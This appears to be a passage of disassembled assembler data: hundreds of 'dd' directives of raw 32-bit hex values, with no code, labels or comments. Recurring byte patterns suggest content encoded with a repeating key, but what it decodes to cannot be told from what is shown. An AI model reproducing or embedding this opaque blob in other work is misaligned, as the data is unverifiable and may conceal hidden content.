		dd 3411D132h, 37D6F010h, 0D32C4460h, 519C976Bh,	5A35BE64h
		dd 595DB132h, 56AEB7B0h, 56D6BE32h, 3EABB132h, 0CA7D0960h
		dd 56EABEDBh, 1F4FB632h, 89546AD2h, 8F979E88h, 6F2E459Ah
		dd 5D4604CDh, 0D8A4B6DBh, 56D5B13Ah, 56E83F3Dh,	3715B132h
		dd 56BB3B3Dh, 0DBA1B132h, 0BA316AB7h, 565E5835h, 0BA3DB132h
		dd 706A6FD7h, 59628CBBh, 5675A3BDh, 5C52D132h, 0E95DB132h
		dd 0E73D5F75h, 79231FF5h, 0A9CAE856h, 0D35C49E2h, 5103AA33h
		dd 5675BFDBh, 0C61A4132h, 0A97EF999h, 0FF2B2D3Fh, 3CC1FCF4h
		dd 56A75836h, 0D9F5B132h, 703798CFh, 60C4510Dh,	0DCB5AC6Eh
		dd 565DB128h, 56BF5852h, 60ADB132h, 8D21BFA5h, 0AA19427Ah
		dd 31752C3h, 0E7012ACCh, 56D2D040h, 595DB122h, 56AEA1BFh
		dd 565C5832h, 7DA5B132h, 0BE3C051Ah, 0DF5CD62Eh, 5B35D91Fh
		dd 59DAB131h, 565DB4B0h, 0B02FD732h, 51BE63B0h,	49ABB132h
		dd 7A967D3Ah, 3C8B2D1Ch, 0DA7A4932h, 56BAB137h,	0AEF50652h
		dd 597E4E53h, 5657AFBBh, 4E20BE32h, 0BFD5B132h,	56EAB121h
		dd 9D00D541h, 131B0619h, 1617F381h, 404B05E6h, 0C85294Fh
		dd 56BB3B3Dh, 5D3CB132h, 39EAB132h, 8249020Dh, 97AA4EA2h
		dd 965688AEh, 57F9353Dh, 0DB58B132h, 56ABB13Bh,	8854D752h
		dd 378A8B9Bh, 0E8F73853h, 59BD5E87h, 565DA3BBh,	5A2BBE32h
		dd 0BF57B132h, 56ABB135h, 0C48BDD19h, 0DF8CEEDAh, 0B9C050B0h
		dd 16034935h, 0A35DB23Fh, 584749B9h, 0A957B132h, 520378B1h
		dd 41A6BE1Fh, 5B916926h, 96464D52h, 5838BE52h, 0BE5DB132h
		dd 56AEB13Ah, 0EF466ACBh, 5DAD84E2h, 996ABE6Dh,	0BF404253h
		dd 5675B122h, 0CDB4673Ch, 0CD4AC56h, 75A09F7Ch,	95B83297h
		dd 5E23BE60h, 59D5B132h, 56EAB3BEh, 3C14D132h, 0D7B5D136h
		dd 565DB120h, 56AEBDDAh, 0E3AC6B32h, 0F96AA433h, 0B45D3DEAh
		dd 5103EEB1h, 0DF75B132h, 9B2FBB73h, 3E3CF9A6h,	56AEA132h
		dd 5657BDDBh, 0ED132132h, 99497E78h, 0C3B3626Ch, 0EF24D128h
		dd 78E50614h, 373DD168h, 56AE313Dh, 3736B132h, 56AFB15Ah
		dd 56BF4832h, 0B86BD752h, 0ED137AA0h, 59DBE7E0h, 565DB0B0h
		dd 0C4514832h, 51BEAA33h, 56BF313Dh, 593CB132h,	73EAB132h
		dd 0F2605300h, 56C6374Ch, 43F1EE9Ch, 0BFF417FCh, 5657B139h
		dd 9232E84Dh, 0C57B5D23h, 0DF754F43h, 0B9CD21B0h, 5F53D135h
		dd 0F65DB132h, 393AAB66h, 72B2232Fh, 6E433052h,	0BF8C84D3h
		dd 56EAB135h, 903FF112h, 37EC6A9Ah, 0DA52D053h,	56AEB133h
		dd 0E8D23ACAh, 0AFAC5E87h, 56C2343Dh, 4403B132h, 4E75B132h
		dd 3A5AD5F2h, 52072E8Fh, 2B972665h, 0EA993A23h,	424272A2h
		dd 5FD5B132h, 0E80722F8h, 0F805A36h, 0CDB25h, 81F55385h
		dd 36D5519Bh, 87E0BE52h, 412D0961h, 378AD447h, 56EAA0DBh
		dd 0BBE90432h, 0E43EAC33h, 0D0B730Bh, 90162435h, 0D490B49Ch
		dd 5142ABB3h, 5695B132h, 2F6876CEh, 56725820h, 0AABAB122h
		dd 56505952h, 4B89B132h, 0CD234B68h, 7D0D4288h,	0FD8C0F2h
		dd 0EA152B3h, 3714C066h, 56A33A3Dh, 0EE3DB132h,	6CB91341h
		dd 5657BCDBh, 2EC53932h, 179C0CACh, 0D31EAF8h, 951450D8h
		dd 56BAA2DBh, 0C87E2832h, 15DDCA44h, 8A900EF7h,	0F32155Ch
		dd 0E8303D91h, 56F95852h, 6DD6B132h, 3D4E9034h,	0B681D085h
		dd 0CDED3846h, 771D7C29h, 0E8113AA2h, 0BFD25E87h, 56EAB13Fh
		dd 13EBA1E4h, 6C4D3E08h, 0E5C9BF6Bh, 56BC58D1h,	0EF5DB132h
		dd 57A760E9h, 79AAFD3Ch, 7E65940Bh, 9AFECE3Ah, 59BA8EB1h
		dd 565D75B6h, 582EBE32h, 3657B132h, 56AB393Dh, 8554B132h
		dd 4E1D2533h, 0D77AD153h, 56BAB132h, 37AF52B2h,	54BECEB1h
		dd 560D353Dh, 0DCA4B132h, 56D5B133h, 469532CEh,	20F1BE36h
		dd 0BFBAB132h, 565DB13Fh, 0CD32EA67h, 95630A30h, 4838FC77h
		dd 5F52BEE2h, 36EAB132h, 96100F54h, 376D063Dh, 364976B1h
		dd 0EF690E3Dh, 143FF2EEh, 0A9215853h, 473C4ECDh, 15EAB132h
		dd 0C76C2FCEh, 0D573BDABh, 0BC769181h, 0F2E21CE3h, 5747F6F5h
		dd 59ABB132h, 56D5B5BAh, 15ED132h, 0A9B75853h, 44534ECDh
		dd 675DB132h, 5326945Ah, 0FFE6ACAEh, 0B710D478h, 2DA21C78h
		dd 46AD7670h, 5675B131h, 56BB353Dh, 0BFA4B132h,	0A9514EAAh
		dd 0D258D0C7h, 56ABB133h, 5750BECBh, 0A3EAB132h, 57FFBEF1h
		dd 0AEBAB132h, 0A5D6D167h, 0DDCF4DB8h, 57D2BEDEh, 0A3ABB132h
		dd 0D7B3D152h, 59ED96C1h, 0BE144985h, 56BAB132h, 6CB73068h
		dd 59A95EE6h, 5657BFB1h, 56A25832h, 86DAB132h, 0D8A7FF39h
		dd 0AEF4A384h, 306A3B52h, 0DD3C77B9h, 0B9161580h, 0A4D6D135h
		dd 0E149642h, 56D5BADBh, 624E6A32h, 3BA36E48h, 6D6BC1C0h
		dd 5ED9BE53h, 36AEB132h, 5657353Dh, 0DDCAB132h,	0DF20B977h
		dd 0D4694D34h, 519A0996h, 9D3AD136h, 9EDCD73Fh,	37CF2D81h
		dd 59D4BE52h, 0BFABB132h, 56D5B138h, 0E8BF8CF6h, 43AF000Eh
		dd 9FDB1D7Eh, 565DBCDBh, 1A54B332h, 79665B39h, 0A5360EE9h
		dd 5217B8C1h, 5F03D132h, 8275B132h, 0A30D89Ah, 9B3D0523h
		dd 37703A54h, 0D731D152h, 0DD9D3AF4h, 0BE2DD0CBh, 56EAB132h
		dd 0A49F3068h, 36BD5EE6h, 0A7BC0B54h, 56A95853h, 142FB132h
		dd 625F9DA3h, 0C6673A38h, 0BFED5E8Ah, 5675B13Dh, 0C5E54A46h
		dd 7612AD62h, 0B4E42545h, 6D43FD4Fh, 0B9131580h, 0DA51BE35h
		dd 59EAB133h, 5675B0BCh, 68314D32h, 5652343Dh, 5C47B132h
		dd 0DB57B132h, 33715019h, 58A0AF9h, 56EF5809h, 641CB132h
		dd 0DD766BCCh, 57DDBEEDh, 0AEAEB132h, 5718073Dh, 56AA393Dh
		dd 0A029B132h, 596AB075h, 567593B7h, 8FB94832h,	565DBFDBh
		dd 6F96D132h, 0BEDDCC5Ah, 9157EB95h, 0BF814701h, 56EAB138h
		dd 5674333Dh, 7D4FB132h, 0BF1E4DEBh, 56AEB122h,	0DBA812A0h
		dd 52B9FA7Fh, 57C787FDh, 0D97176E6h, 0D3FE4871h, 51539B23h
		dd 37E2D152h, 59E23D37h, 30367E8Dh, 0AFFE73B3h,	865FD153h
		dd 37230E3Dh, 4DC83CB9h, 5853B6DBh, 0D25DB132h,	700FD74Ch
		dd 32158C79h, 620202A8h, 0DDB3D19Bh, 56E558E3h,	2FC6B132h
		dd 5BAD9348h, 27A5F4F6h, 51DF6B67h, 8E6CD0E9h, 56FA333Dh
		dd 6D20B132h, 1E6DBEEBh, 5975B132h, 56BAA2B8h, 56535832h
		dd 8B33B132h, 9353B1C0h, 0E3911AD8h, 0CB6BF598h, 59EE77B1h
		dd 5675A5B5h, 56B55832h, 0D35EB132h, 584392A4h,	83648D12h
		dd 0F794DCD7h, 0A800588Fh, 5E034ECDh, 1275B132h, 9957FB13h
		dd 6D887ECBh, 0E2ABEFDh, 5957B132h, 56ABA7BBh, 5E3DD132h
		dd 0C7EAB132h, 5626A711h
		dd 0E76ADEDh, 617777B3h, 0DFCFB243h, 0BF4C0C8Fh, 56B95835h
		dd 3C5CB132h, 56442AFAh, 907FD9D2h, 0FBCBD15Ah,	58EDE95Eh
		dd 0A950D9DBh, 5FBFD1CDh, 62ABB132h, 0D801B378h, 0D7B62BEDh
		dd 5675303Dh, 59E1B132h, 373C7E8Dh, 365272CEh, 7A9E3052h
		dd 3088D133h, 3756C08Dh, 56EAA0DBh, 0C1256532h,	0A651F04Ah
		dd 529ED410h, 0F06FCB6Ch, 56BFD36Bh, 0CABB132h,	803C5BB3h
		dd 5913B6DDh, 5675A5B6h, 56B55832h, 11D2B132h, 537A5E0Ch
		dd 38418552h, 25A54FCCh, 0C66F3A56h, 0A3ED5E8Ah, 5674B18Bh
		dd 5A30BE32h, 595DB132h, 56AEB7B4h, 56D0BE32h, 59ABB132h
		dd 56D5B0B9h, 96D94832h, 5675BFDBh, 0A9799732h,	0B89CC3DFh
		dd 9EBBCF17h, 0A5EEA9BEh, 5D23BE99h, 0BFD5B132h, 56EAB134h
		dd 0D28E9A1Dh, 0D4315732h, 51B209A2h, 56A75852h, 3087B132h
		dd 6A5950E1h, 0BFEE9FD7h, 56EAB138h, 0DC0FA038h, 6CD676BDh
		dd 593C5572h, 56AEA0BEh, 565B5832h, 0CADBB132h,	4D4208ACh
		dd 609E967Bh, 0D4FCE36Bh, 51550996h, 303DD0CAh,	0AAA6AD8Dh
		dd 36A27253h, 56AB59CBh, 0D78FB132h, 0B93D1DD8h, 5E9CD135h
		dd 0C3BAB132h, 0A06066BEh, 0D7752F5Ch, 0ACAE9FD5h, 0D4A4D010h
		dd 56D5B12Bh, 56EAA5DBh, 0F7BBE732h, 3025C84Ch,	0C6EF1442h
		dd 0C2C5D21Fh, 0CFCB90ACh, 0F2E7793h, 0D25814h,	0D78CE752h
		dd 81776FBh, 3749063Dh,	4930885Ah, 5A46D1E6h, 0D957B132h
		dd 8AF22948h, 0E9A8968Ah, 30788AFDh, 592E48B9h,	56BAB3B5h
		dd 3703E032h, 5DBF04CDh, 0DBA2B6DBh, 0BA346AB7h, 862A4435h
		dd 56EABADBh, 28E36732h, 0D4F6D2B2h, 0D10558B6h, 0DDC8D160h
		dd 0AEE8BEF4h, 3E5EE153h, 56D53132h, 0BFEADBCBh, 5675B13Fh
		dd 94B5C738h, 1F4BD86Eh, 783E4C66h, 0E8E54E0Ah,	36AC5E87h
		dd 81A3A61h, 37183A54h,	5675A3DBh, 21E50E32h, 75CD598Fh
		dd 365191F5h, 3E86CE9Ch, 0A99BC7F7h, 56DA58E2h,	283B132h
		dd 674512EFh, 0C7D21C07h, 8F2DBB48h, 0C56E984h,	0D657D9CEh
		dd 3C52B132h, 226CD132h, 0D7C482CFh, 3D11AC0h, 0E445D022h
		dd 51B209A2h, 56A95852h, 4A17B132h, 0A108BB6Dh,	0C08E085Ch
		dd 0A98BF824h, 0AA1448E2h, 59EF49F1h, 565DBCB1h, 56A65832h
		dd 0FBF7B132h, 0BD6004D7h, 0BA5E3450h, 56E63E3Dh, 0D27AB132h
		dd 56BAB134h, 565D3D3Dh, 0A3CEB132h, 5657B1DAh,	0BC2AEB32h
		dd 513A6835h, 56E4373Dh, 5F9CB132h, 0A2BAB132h,	53D1F2DEh
		dd 0BAE039DAh, 0BFABD1CEh, 56ABB137h, 96A8BF12h, 2361D0A1h
		dd 51FCBE3Ah, 36BAB132h, 39823054h, 0BE57D0B5h,	5657A16Fh
		dd 527D3052h, 59B7AF97h, 56EAB7BBh, 1B9F3032h, 37A3E82Eh
		dd 45B5D167h, 0F7AEB132h, 306B74DCh, 0B3F18735h, 0C3D5584Eh
		dd 229493B9h, 97FEA5CDh, 37743A69h, 0E03223CDh,	30CEB6DDh
		dd 3064658Ch, 3737528Ah, 23EE4D6Fh, 0FA6FBE3Eh,	0AF8A4ECDh
		dd 56AAB9DAh, 0A7DDD132h, 56BE589Eh, 312BB132h,	1FA4764h
		dd 0CE07D68h, 0BCE40610h, 37144D94h, 56AB393Dh,	5AB4B132h
		dd 8AAEB132h, 8AA5703Ch, 0F67E9599h, 9FD5A3FDh,	56E273C7h
		dd 5675BCDBh, 728CF832h, 0CA97E984h, 0E2DCCFCAh, 360252B9h
		dd 5F4349B9h, 0B0D5B132h, 0B375FFBFh, 74EECD9Dh, 0E413A54h
		dd 564D5853h, 0AD3FB132h, 494BB1A8h, 0B6494EA0h, 21CCAD08h
		dd 0BA61A775h, 5675A0DBh, 0FE764E32h, 0AD6E8BA3h, 28D2D5FEh
		dd 83900F1Ch, 92286DD3h, 0D7B3D1CEh, 4C78DD3h, 5675A1DBh
		dd 9730FD32h, 0BD82964h, 974E1E6Bh, 52E0097Eh, 0CAEBE0h
		dd 0B754D152h, 234835BFh, 2C6947B3h, 37DBE5EBh,	565DA3DBh
		dd 0FA98F032h, 652FF810h, 3FC95683h, 29851D1Eh,	1822931h
		dd 5675BFDBh, 5D087F32h, 0C17F4B52h, 83C3D68h, 521F88Ah
		dd 56BF343Dh, 593CB132h, 0EBEAB132h, 0C49C8AFh,	0F8C57431h
		dd 241B6EEh, 56462CD4h,	0C57B132h, 8C0E5BB3h, 592DB6DDh
		dd 56EABDB6h, 56725832h, 0EDC3B132h, 3AD4D6F7h,	5EDB3A86h
		dd 37820052h, 56ABBDDBh, 0AB5EEF32h, 0D1A30A7Fh, 7FD2FC23h
		dd 46C73A35h, 0D152E6CBh, 56AEB133h, 45BEE7CEh,	1FABB132h
		dd 6AE4283Eh, 0E66A84E0h, 7E6367F4h, 142C73CBh,	36B5BEBDh
		dd 59AEB133h, 5657B0B1h, 96A04932h, 561B353Dh, 0DD12B132h
		dd 44FFBECAh, 0BFBAB132h, 565DB13Fh, 3EF282A7h,	84A8F394h
		dd 811DFC54h, 0DDDAE405h, 56EAB124h, 5675A0DBh,	64AB0332h
		dd 0F739EE04h, 776DC186h, 52BB763Dh, 0DDA4CAC3h, 56D5B13Ah
		dd 56E8363Dh, 3715B132h, 0E0D523CDh, 5BB4B6DDh,	33AEB132h
		dd 1D68C6B3h, 1979596h,	0B41305ADh, 23D14D6Fh, 33F1BE3Eh
		dd 36BAB132h, 843054h, 552EBE1Eh, 3057B132h, 30CA68B9h
		dd 59B5AFB9h, 0DCE54A8Dh, 5675B131h, 376A3A54h,	0A3AD56B2h
		dd 5520BE52h, 5957B132h, 0A3F9498Dh, 485FD068h,	0A60931C7h
		dd 7F6459CEh, 0D1B5B132h, 565DB127h, 56AEA1DBh,	7340BB32h
		dd 7C92BBEFh, 35309AD3h, 606C5911h, 0A9765879h,	36464ECDh
		dd 37A33A54h, 0AE52CCBBh, 0A9A0B6DAh, 0D7CDD1CDh, 0EC4D8FE2h
		dd 1441F16Ch, 429CEA53h, 0ABAB132h, 50B9D5C6h, 9B7C75F6h
		dd 0F6B07E29h, 166870D3h, 93A20E5h, 56EABFDBh, 1B1E8B32h
		dd 0AFDE46DBh, 82292CF4h, 36DA8BBAh, 109E252h, 9E20D06Ch
		dd 0DDB5EF53h, 7E300BE3h, 0DD14EB60h, 59534D77h, 0B35DB132h
		dd 478DEB6Eh, 0D13C9503h, 0C22A81E1h, 9F29A05Eh, 56E673CAh
		dd 567C3F3Dh, 5DAB132h,	0A8430A6Ah, 3CF8461h, 5675323Dh
		dd 0BECBB132h, 56D5B137h, 979C4514h, 469CE9B8h,	6CBAB132h
		dd 0E8191B87h, 0F9FE4DAFh, 0BE097343h, 3747E409h, 0D52C5DB9h
		dd 11F49F6h, 5675BDDBh,	0AA759B32h, 77AA4DD8h, 2DB28D09h
		dd 59014983h, 56ABA9B0h, 56C65832h, 8BF6B132h, 8B7DF7C9h
		dd 82A88A7Dh, 0EA44622Ch, 0DCE7E517h, 58BEE00Eh, 81ABB132h
		dd 5FA71402h, 633E2E85h, 3060A5E0h, 5E3EBEFCh, 595DB132h
		dd 56AEB3BCh, 536D132h,	56A65952h, 0D993B132h, 5E277071h
		dd 4790F058h, 599C8AB1h, 0BF054A8Dh, 56AEB13Dh,	1FB66978h
		dd 0A9192B8Fh, 0B872DDF0h, 37D95E01h, 568DF4F5h, 36BAB132h
		dd 0AE9E3A54h, 742C7653h, 57505E8Ah, 0BFABB132h, 56D5B13Ch
		dd 0C9C765C5h, 0F8B483B8h, 84E1123Ch, 0DA523FF8h, 56AEB133h
		dd 5E223ACBh, 56A33F3Dh, 0D0DAB132h, 56EAB130h,	0DD13D052h
		dd 5C31BE2Ch, 365DB132h, 8B663188h, 0D0923150h,	0E8113A53h
		dd 59D25E87h, 56EAB6BDh, 57F8BE32h, 0AABAB132h,	565DB6DBh
		dd 98ED5732h, 0E5BA5756h, 36A3EEB9h, 945ED7CEh,	5931BA53h
		dd 5675EDB6h, 51534832h, 8E5DB132h, 175A96FBh, 886CCE7Dh
		dd 5698343Dh, 0DD20B132h, 5103BD6Fh, 1575B132h,	19B11E38h
		dd 9D4412Bh, 56BE583Eh,	44F8B132h, 0C6E8E112h, 0E00F39C6h
		dd 9CF6EC74h, 509CBE9Ah, 5CBAB132h, 9882D3C7h, 426932BAh
		dd 0A9C958CEh, 50424ECDh, 0B5D5B132h, 16F2AC5Fh, 48FED7A0h
		dd 56A8333Dh, 5BB4B132h, 0CAAEB132h, 4DE9ABF4h,	0B8DFEEF4h
		dd 31F75B50h, 0BE1131CBh, 521D353Dh, 5C53B132h,	0F15DB132h
		dd 0FDF85C3h, 0A3724EF9h, 422BBE41h, 0BFD5B132h, 56EAB13Dh
		dd 1B68F17Bh, 0B1EDE569h, 0C763004Ah, 0D63A9742h, 0D25858C9h
		dd 56ABB504h, 56DA5952h, 0C69B132h, 374273D2h, 176B876Eh
		dd 3E4916B0h, 56BF58FCh, 0BE19B132h, 333F739h, 0C66D2E99h
		dd 14B1C2A1h, 8AB0750h
		dd 56AF373Dh, 59B5B132h, 0D5AEB132h, 61955168h,	879DED53h
		dd 42723373h, 37B27F5Ah, 599E4AB2h, 56B954B6h, 56495832h
		dd 2063B132h, 0B0E59A9Ah, 0F364F8A1h, 0B3543245h, 0F9901563h
		dd 0ADF5B9C9h, 0E73EBED0h, 0BF5DB131h, 56AEB135h, 1E9F4081h
		dd 59216404h, 56D59DBEh, 5903D132h, 0AC75B132h,	250D0C26h
		dd 29ECAA6Dh, 987216C8h, 47BEBB3Dh, 61ABB132h, 87540639h
		dd 3102FB48h, 5CF6DB80h, 0CCBB51DDh, 0B5A63153h, 55E9353Dh
		dd 42BEB132h, 65ABB132h, 5DA28CECh, 67102845h, 3F9CB6EDh
		dd 5D75BE0Bh, 3012A41Dh, 0B5C94AB3h, 5511353Dh,	0D2A4B132h
		dd 56D5B13Eh, 56EC353Dh, 0D77AB132h, 56BAB132h,	59AD56B2h
		dd 56AEA4B7h, 56475832h, 652CB132h, 9E862F04h, 9AE43058h
		dd 3D5FDABBh, 0D7DC1E6Fh, 59DDBEC9h, 56ADACB6h,	86D7D132h
		dd 841CBE8Ah, 0A6363153h, 56EABFDBh, 88BC2032h,	48816A49h
		dd 3CA1FEFAh, 0D601269Fh, 0D258C1C9h, 56ABB3C4h, 56C75852h
		dd 0D3FFB132h, 7332ADFAh, 143D95FFh, 323A1BE4h,	12A5071Bh
		dd 0EB60854h, 4820D753h, 0B55544C7h, 4852D1CAh,	304A0DB9h
		dd 0BA2A56B3h, 0EEA63153h, 5767353Dh, 0BF37B132h, 56ABB126h
		dd 0BAA39816h, 0E58073F7h, 4157CB4Bh, 0AEFF753Fh, 2787E443h
		dd 56AEA2DBh, 75394432h, 9C34DC77h, 0D36F0C9Bh,	0E0F59115h
		dd 0CCB724C3h, 53843153h, 57D0353Dh, 0D657B132h, 0D2589C0Ch
		dd 56ABB0B1h, 56D9373Dh, 5103B132h, 6575B132h, 4DCECBF1h
		dd 68DD2B46h, 3E2ABE5Ah, 0A357B133h, 0FF18D152h, 56D5B9DBh
		dd 700D8432h, 79B92513h, 0A9DBD0BEh, 0B9E593B0h, 56A65835h
		dd 55E7B132h, 34CB92E9h, 0DDB3502Eh, 0ED8CD12Ch, 88F48B20h
		dd 5E358E82h, 0AEBA3153h, 0AD2FD7CBh, 0D25859B3h, 56ABB011h
		dd 56C45952h, 0B5B0B132h, 4CE39BEEh, 0D7ACA09Ch, 5F422830h
		dd 3042B0C8h, 0BD5572B3h, 377A3B6Dh, 56D2313Dh,	0D8E5B132h
		dd 5675B133h, 4831D7CEh, 565DB9DBh, 3FB6ED32h, 804E6CE8h
		dd 0A64C31C5h, 56D5BCDBh, 5602FC32h, 4093BE68h,	0A764AE0Ah
		dd 0D73B5F3Fh, 596E30C9h, 565777B6h, 572ABE32h,	0AED5B132h
		dd 30BDD152h, 0FF1B48Ch, 59EFD0CBh, 565DBFB7h, 5347D132h
		dd 5D57B132h, 50CF5FACh, 0A9B442B9h, 0B95CDEA0h, 0B894935h
		dd 56AB5952h, 8C84B132h, 0ECC2F69Fh, 32848A8Ch,	0FE8FD1E7h
		dd 30961A2Bh, 137042B3h, 372CE76Dh, 56973F3Dh, 0BE3DB132h
		dd 56AEB126h, 0D040B417h, 7EEE4539h, 18BF6E2Ch,	0DE52D68Ch
		dd 0F7EA1B0Ch, 56B6586Bh, 51C1B132h, 134F4D6Eh,	53E18AC1h
		dd 0DFCAA4C8h, 0DBDA4D77h, 56EAB13Ch, 5675B8DBh, 40533B32h
		dd 3D8294FBh, 0BFCFAA82h, 5657B134h, 0D154EC89h, 2B566C85h
		dd 0D3E5B0CEh, 5675B336h, 56BAA3DBh, 37568832h,	0ED2AF5DAh
		dd 1B560C14h, 435EFEA5h, 0DDC8012Fh, 0BFF03088h, 56735835h
		dd 1FF2B132h, 3A1289D4h, 56BC5862h, 8E44B132h, 0F34A6D02h
		dd 0FB9A6EDBh, 0F825DD98h, 0C48B0B9Eh, 0EE9833B9h, 6FA4B6DDh
		dd 0D1A1810Eh, 5657B135h, 56AA3E3Dh, 0E20B132h,	574C333Dh
		dd 599CB132h, 2BAB132h,	0DC3419E6h, 361AA06Eh, 9FAE00FFh
		dd 0EC20FD44h, 513CA34Bh, 0D1E5E1CBh, 5675B13Fh, 5635BE52h
		dd 0EC5DB132h, 61634F74h, 74D53A53h, 0BFAC5E8Ah, 56D5B13Ch
		dd 47CF526Bh, 0F5FD9271h, 12F86C5Fh, 6A64FDA4h,	0D8A14902h
		dd 5657B138h, 0D7503A52h, 1DC938F2h, 59B2D001h,	5674F2BDh
		dd 5E33BE32h, 595DB132h, 56AEB3B1h, 0BF36D132h,	56ABB104h
		dd 0AE9076CEh, 56EAB130h, 55FABE52h, 59BAB132h,	0BF3C438Dh
		dd 56AEB12Ch, 5657B6DBh, 9C98EA32h, 5FF75DD7h, 5712F4F5h
		dd 0AA75B132h, 59753A52h, 565DB1B7h, 0EC25D032h, 51B8048Ch
		dd 56AA323Dh, 0DD2DB132h, 56E7582Dh, 3E1B132h, 83D669BDh
		dd 94459E4Ah, 5DFF8B8Dh, 87D3BEE9h, 36ABB132h, 436377B9h
		dd 59348A53h, 5675C9B7h, 5738BE32h, 0AF5DB132h,	0AFA2ECB9h
		dd 56AFCCB1h, 5684353Dh, 453CB132h, 0A0EAB132h,	0CBFA711Bh
		dd 1EC57E71h, 0EE8E7EF5h, 0A894BBD6h, 0DD37A820h, 0BA8D0FAh
		dd 5C57BECAh, 36EAB132h, 7DAA5EB3h, 8031A7FEh, 52023853h
		dd 56AEBCDBh, 8B770432h, 0FD0CAEA5h, 1B4454F3h,	0D8E5C915h
		dd 5675B12Bh, 56BAA5DBh, 7A451832h, 0A073489Fh,	0ED2FB0FCh
		dd 0DFB06638h, 6E6F8FAAh, 422D3281h, 5660373Dh,	4653B132h
		dd 385DB132h, 0BEC8768Bh, 0F68F92E1h, 0EA63949Ah, 0BFFDF9F8h
		dd 0A9154E09h, 5675B6DBh, 0D2722C32h, 0AB6E55CDh, 53477101h
		dd 0AF57B132h, 0CC22958h, 56D156DBh, 0D78CD132h, 1C406C2h
		dd 37E3EB63h, 0AA433A54h, 0AFA2CCB9h, 59BC4AB2h, 56ABE8B6h
		dd 56D25832h, 0FC4BB132h, 829DA03Ah, 0A659316Eh, 26A631CAh
		dd 5624353Dh, 5FBEB132h, 3AABB132h, 0A72B3A53h,	0FAFF0B1Fh
		dd 5674EADBh, 5539BE32h, 365DB132h, 0D2A1D0C7h,	5657B12Ch
		dd 56B33E3Dh, 453CB132h, 0A0EAB132h, 0CB377DEBh, 743743AAh
		dd 0CACC6392h, 0B46D1DBh, 51914B2Ch, 56A358DBh,	0FE4DB132h
		dd 419D58FFh, 11B2C53Ah, 56BAB133h, 91D64432h, 56AEB7DBh
		dd 8B8CB432h, 0D56FFFA2h, 0D8DAB4F2h, 56EAB133h, 524B58C7h
		dd 5C53B132h, 0E55DB132h, 7E2A5230h, 0BA2EDC15h, 572ABE64h
		dd 0AFD5B132h, 59ED7654h, 567C583Ah, 6CB6B132h,	0A4F653D2h
		dd 0DC255CBCh, 0B5D7492Ch, 56A3583Dh, 579AB132h, 7FE8C0DDh
		dd 0DC7AC5A6h, 56BAB138h, 56DCBE52h, 36AEB132h,	9DD7D053h
		dd 59F8D1B2h, 0BE8D628Dh, 56EAB13Bh, 54E7D96Ah,	0AD5F827Eh
		dd 0D3CD1BCh, 57F13953h, 564B383Dh, 0D8A4B132h,	56D5B124h
		dd 56EAA0DBh, 50F99F32h, 6863598Eh, 0F1A55A3Bh,	0FEDFC4D8h
		dd 91AEC8EEh, 56ABB375h, 0BFB5B132h, 56EAB13Ah,	4565F07Dh
		dd 9432DD8Fh, 565DBEDAh, 0E5DD5A32h, 0F3CC2422h, 11917C39h
		dd 3C0C1D11h, 770A3054h, 0DD14E946h, 56B558F5h,	0B3D3B132h
		dd 75370F1Ah, 252CC7ACh, 91147471h, 501532EEh, 56F2373Dh
		dd 459CB132h, 1CBAB132h, 63D739F6h, 5CEE519Ah, 5926E31Ch
		dd 3AA550A5h, 133CEA81h, 0AAEAB131h, 0C64B3054h, 0C73EBEA2h
		dd 0BF5DB132h, 56AEB123h, 0D955D68Ah, 50573AFDh, 7382E39Eh
		dd 0A099712Fh, 45F0BEA6h, 36BAB132h, 565DBDDBh,	0F2537132h
		dd 401AF794h, 26A7DBE7h, 6855D0D9h, 346FBEA2h, 3675B132h
		dd 0C4135AB3h, 47B5BA51h, 44AEB132h, 0EAECFB8Dh, 209E717Dh
		dd 6282512h, 4F877674h,	5675B9DBh, 7C7AAF32h, 99B4C460h
		dd 30CFEEF7h, 0C6A8CFB3h, 772FBEA2h, 36D5B132h,	0BC550954h
		dd 566A5853h, 4753B132h, 0F75DB132h, 0D3345F2Eh, 803593F5h
		dd 0D83202B8h, 0B145BD38h, 0BF1F76B9h, 5675B392h, 86383CCAh
		dd 365A5E8Ah, 30773A54h, 37E18989h, 701DD152h, 56D5323Dh
		dd 0EC8BB132h, 1C3B2F24h, 0DDDAE153h, 0E3E5D7C8h, 0BFF8D0DEh
		dd 5657B123h, 817AE57Fh, 5474DBDAh, 0D1CBBA4Bh,	2D66974Bh
		dd 5135BE0Ch, 595DB132h, 56AEB0B5h, 0C4A84832h,	514407B4h
		dd 5915BACEh, 56EAD5B6h, 40F0BE32h, 0BFBAB132h,	565DB123h
		dd 34A963B4h, 0E05D097Bh, 76A17B84h, 0F7F106EAh, 36223AC6h
		dd 56F6BE52h, 0D7BAB132h, 9E7846F0h, 5D46D056h,	8E57B132h
		dd 0ED357F6Fh, 0E16AC492h, 0E1E563B7h, 0DB14E9F8h, 0B9026180h
		dd 564C5835h, 0FC1FB132h, 26B82B4Ah, 7ADA8086h,	0A643B1E6h
		dd 0BF751415h, 5675B194h
		dd 0D9B5E7CAh, 565DB13Ch, 56AEB8DBh, 4A2D2A32h,	0C3AF96Bh
		dd 985E3874h, 56FB343Dh, 5A9CB132h, 1ABAB132h, 5B177004h
		dd 11339A0Bh, 38E252Eh,	56AA343Dh, 0AF29B132h, 0E08523CDh
		dd 0D17AB6DDh, 56BAB133h, 565158CAh, 381AB132h,	0F35C6CDEh
		dd 8456FFC9h, 0BF88D0DEh, 56EAB13Bh, 802B396Ah,	0C1F042ACh
		dd 36939A80h, 727867B3h, 0D4589D2Eh, 56ABB134h,	637757B3h
		dd 0A18BC1CFh, 0BF2B4DEBh, 56BAB13Dh, 0D61523CCh, 50F2E0FFh
		dd 97707D3Eh, 591EEC7Bh, 56D5BCBFh, 56E25832h, 0D6B2B132h
		dd 2FF74A20h, 2BDE983Eh, 0D3A1B0CAh, 5657B145h,	56ABBFDBh
		dd 3116FF32h, 6B1D39D5h, 74069D64h, 0E63E2D24h,	59F74D7Bh
		dd 56AEBDBFh, 50DEBE32h, 59ABB132h, 56D5B1B6h, 5952D732h
		dd 567058B7h, 2704B132h, 30538711h, 5D22BE99h, 0BF57B132h
		dd 56ABB134h, 27C86D5Eh, 0D1E536F2h, 5675B133h,	100CBEC7h
		dd 56585833h, 0EB24B132h, 0FD4F192Fh, 59783A52h, 56D5B7B6h
		dd 5664BE32h, 3775B132h, 562758CEh, 0D5A8B132h,	59AC494Fh
		dd 56573FB7h, 56AC5832h, 6664B132h, 6FBC41CDh, 5DCDD75Ch
		dd 0FDDC44FBh, 564F3A3Dh, 5B47B132h, 9157B132h,	44D016DDh
